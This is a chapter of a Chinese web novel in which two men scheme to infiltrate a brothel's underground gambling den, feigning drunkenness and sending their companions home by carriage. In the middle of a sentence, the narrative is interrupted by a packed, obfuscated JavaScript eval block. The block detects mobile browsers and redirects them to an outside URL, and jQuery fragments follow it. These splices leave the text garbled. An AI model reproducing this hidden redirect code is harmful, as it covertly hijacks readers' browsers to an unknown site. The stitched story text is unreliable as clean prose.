58. 第五十六章

作品:《遮眼

    鸣风难得地没顺着江贞,手握成拳,一副势在必行的模样。


    “把你肚子里的鬼点子收一收,我绝不能眼睁睁看着你去送死。”江贞也露出强硬的一面,不容人置喙。


    他鲜少要求或强制别人做什么,可一想到眼前这个傻不愣登的莽货想出这么个铤而走险的办法,顿时气不打一处来。


    眼看着出现僵局,雁来还是没搞清楚情况,疑惑道:“什么点子?说出来大家一起想想办法呗。”


    江贞不开口,显然还在生气。


    鸣风先收了火气坐下来,给其余三人各斟了一杯茶。茶汤的热气不规则地飘上来,湿漉漉暖烘烘地顺着他的鼻尖往上窜,不一会儿就把浓密的睫毛分成绺。


    于是,一双包含水汽的大眼睛委屈地朝江贞眨了两下,把他的心头火都快眨灭了。


    “我想换身装扮混到那艘船上去。”大约是江贞的沉默给了他放肆的勇气,鸣风快速简洁地说出自己的计划。


    从塬县出发一路走水路前行,必得经过魏建绅管辖的区域。这样一来,便能把麟香阁郭妈妈和海防厅一脉之间的猫腻一把捋清楚,还能顺便撸下来一个不知好歹胆敢处处难为江贞的魏远。是一举多得的买卖。


    何况赵家人来南所报官时,那一兜子脏物里夹着一个章娩的细镯,这不就是三方勾结的有力证据么。


    一想到章娩差点因为这些败类出现意外,他就恨得牙痒痒,此行不仅能直接获得第一手证据,还能顺便给家里人报个仇,怎么想都不亏呀!


    江贞听罢冷哼了一声,端起茶杯依旧不语。


    小圆姑娘眼里放光,伸出双手鼓掌叫好。“行啊,我看你姿色也不差,稍微收拾一下肯定没问题。只不过妈妈们手上都有名册,无端多出来一个很快就会被发现吧。”


    “这个不是问题,只要告诉我他们被关在哪,我自然有我的法子。”


    说到这,小圆的表情滞涩了一瞬,犹豫道:“知道是知道,不过……”


    江贞和雁来目光沉沉地望着她,猜测到这件事从开始就包含着巨大危机。


    “不过,他们都被关在地下赌场里。”


    不过就是个赌场,来去应当不难。鸣风听她说过地下的事,没想到原始结构竟然被保留下来沿用至今,他方才看表演时也往下看过,竟没注意到地面更深处还有一个赌场。


    这座楼里,到底藏着多少黑暗。


    “你们作为里层楼的客人,想进赌场是小事一桩。只是关押人的地方是个密室,无门无窗,我也不知道具体位置在哪……”


    这下难办了,场面一下子陷入僵局。


    江贞重重叹了口气,像是松了口气又像是惋惜。


    茶水在手上转了半晌已经变得温热,他浅浅啜饮一口,道:“还是等我召人来远远跟着吧,这样稳妥些。这次赶不及就下次,一本万利的买卖总不会说停就停,有的是机会。”


    话是这样说,可稳妥意味着等待和错过。鸣风不想因为一点还未尝试过破解的困局轻言放弃。


    他仍然坚持最初的想法。


    “让我先试试再做决定,好不好?”


    江贞从他眼中看出了坚持和决绝,便不再相劝。


    剩下的事急迫且危险,鸣风和江贞不愿让雁来在这样的环境下再遭受到一丁点迫害,于是准备先一齐下楼,将雁来送回家再开始行动。


    时间不等人,不能再磨蹭了。


    四人一脸凝重地站起身准备往外走,小圆杵着铜杆橫拦在他们身前,说道:“等等!”


    几人不明就里,还是依言停下脚步。不待问题问出口,只见她拎起两壶酒,胡乱泼洒在三人领口袖口。


    鸣风瞬间弹跳起来捏着嗓子大嚷大叫,“我我我,我的新衣服!小娘子你又发的哪门子疯,一个巴掌还不够你消停的么!”


    江贞盯着小圆手中的酒壶,再转回头看看鸣风面颊上浮起来犹如实质的掌印,霎时明白过来,原来这巴掌印是这么来的。


    好泼辣的小娘子。


    他嘴角含着笑,往鸣风的方向退了两步,在奓毛的野猴面前停下。


    鸣风以为他是来给自己撑腰的,松开紧皱的眉头正准备诉苦,“小江大……江公子,你看看她!”


    江贞嘴上嗯嗯嗯地敷衍着,上手就把他的腰带和衣领扯松,脖颈锁骨处露出一大片肌肤。


    鸣风一脸惊恐不敢置信,这什么破地方,怎么不管什么人进来了都变得神志不清了!房间的香炉里是不是被人下毒了!


    小圆难得碰上一个长相清隽的聪明人,不用多说,光靠一个眼神就能读懂她如此行事的缘由,简直是神仙一般的人物。她不由得在心中暗暗赞赏,一时间竟觉得脑中如被微风包裹,舒爽非常!


    “这就对啦,一个两个直挺挺地走出去像板砖一样,你们到这吃夜宵来啦?


    还是这位江公子脑子活,不想被龟公发现端倪的话就再喝口酒下去。总得让他觉得你们是一丘之貉才不会起疑心。”


    话是这么说,可这也太突然了!


    鸣风捉住江贞作乱的手,接过酒壶,小媳妇似的红着脸,伸出一截颤巍巍的舌,仰面接了几滴佳酿。


    脸色是被巴掌抽红的,要说羞耻,大概也是因为有不相干的人在场的缘故。若是孤男寡男共处一室,娇羞的绝对另有其人。


    江贞就着被人松松制住的腕关节,反手往回一拧,在鸣风虎口留下一个月牙形的指甲印。这是对他冒险的惩罚。


    出门时小圆姑娘打头阵,雁来照旧埋着头跟在鸣风身后,江贞肩膀上搭着一条胳膊,是装得七分醉的鸣风。


    有便宜不占是傻瓜蛋!


    鸣风趁机斜歪着靠在江贞身上,几乎将大半的重量都压在那副如竹如松的身板上,边走边傻乐,看起来真是醉得不轻。


    江贞侧头过去看他,眼睛里只有一个漆黑蓬松的饱满头顶。一根质朴的木簪偏离了它原本的方向,圆润的簪头抵在他颈间,随着“醉鬼”飘移的步伐一戳一戳地晃,晃得他心里发痒。


    “站好了,想压坏我么。”二人缓慢地从楼梯上往下蹭,耳语时从唇边逸散出来的热气直直打在皮肤上均是一激灵。


    鸣风想紧贴着却也不想真的累着他,便伸手去够栏杆,二人之间终于拉开一点距离。


    迎接鸣风进门的龟奴不知道从哪个洞里钻出来,看准了时机复又迎上来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980476|193560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    佝偻着脊背满脸谄媚,问道:“公子玩得还尽兴么?”


    鸣风顺势收回胳膊,这回彻底将全部重量压在这个令人生厌的刽子手身上。


    龟奴承接不了这具铜臂铁骨般的身躯,好险没被压趴下。他肩膀发软,双腿打着摆子,仍摆出一张笑模样,悄悄问:“公子不挑个姑娘留宿么?”


    鸣风将自己脸上的巴掌印指给龟奴看,委屈道:“不敢,你们这儿的姑娘比京城的刁蛮,我可不敢留宿。”


    龟奴大惊,一瞬间腿脚利索了,人也来劲了,环视一圈高声质问:“谁?是谁?如此没有规矩,我绝饶不了她,给我等着!”


    “哎,你咋咋呼呼的做什么?有人喜欢温柔小意的自然就有人喜欢任性泼辣的。


    这叫情趣。你懂不懂?”


    原来是好这口。


    龟奴收了鸣风的好处不敢评价他的独特品味,正要把人带出门,不料鸣风制住他,手上晃晃做了一个摇骰子的动作,说:“你们这儿的房我住不起,这个……还是玩得起的。走,我们下楼继续!”


    龟奴见还有得赚,乐得嘴开花。鸣风真是好运气,随便转了个角度竟然对上了下楼的方向,龟奴这回再无试探,准备领着这帮人畅快赌一夜。


    鸣风这时却先叫停,说有人在屁股后面跟着不舒爽,待在身边总要指手画脚,让龟奴去外头传了辆马车要把家里人先打发走。


    龟奴自然没有不应的,何况楼外面的巷子里停着的都是等候接驾的车夫,自家楼里的接送,不必另花银子。


    车刚过来,鸣风就轻轻推了雁来一把将人送上车,还记着佯装叮嘱两句:“回去先把爷的床铺好,再敢偷懒小心打断你的狗腿。”这话是他胡诌的,雁来明白,顺势点点头往里钻。


    江贞站在鸣风身侧同她小幅度地点头作别,转身就要往楼里钻。没想到一个“轻敌”,竟被鸣风以同样的手段把自己推着搡着也挤上了车。


    车里两双眼睛圆溜溜地望过来,鸣风看着竟然笑了,这两人如出一辙的表情像极了冷团讨好姐姐的模样,又乖又可爱。


    “你这是什么意思?”江贞在楼上好不容易下去的火又腾腾冒出来,说话语气冷得人腿发软。


    而鸣风就算心提到嗓子眼也得把这两个不会功夫的面团一齐打包送回家,只身犯险他擅长,可千万不能把身边人一道拖下水。就算真的偶遇不测,到时也不必记挂着救人,反正他孤身一人怎么着都能寻出一条生路,若是带着条尾巴就难说了。


    为了计划,他不得不出此下策。


    “我什么意思你还不知道?你家里那位娘子可不是好惹的,要是被她知道了,铁定得扒我层皮,我可不敢带着你赌钱。你就先回吧,啊。”


    江贞被气得没法子,当着一旁看戏的龟公面又不能下车同他掰扯,只能鼻子不是鼻子眼睛不是眼睛地放狠话。


    “你既嫌我无用,那么往后也不必再来寻我。亏我把你当作知己,原是同那些人也没什么分别。”


    说罢他愤愤甩下挡风帘子,跺跺脚示意车夫赶紧走了。留下缄口无言的鸣风和内心转了十八道弯联想出有妇之夫倾心密友而不可得的龟公站在冷风中大眼瞪小眼。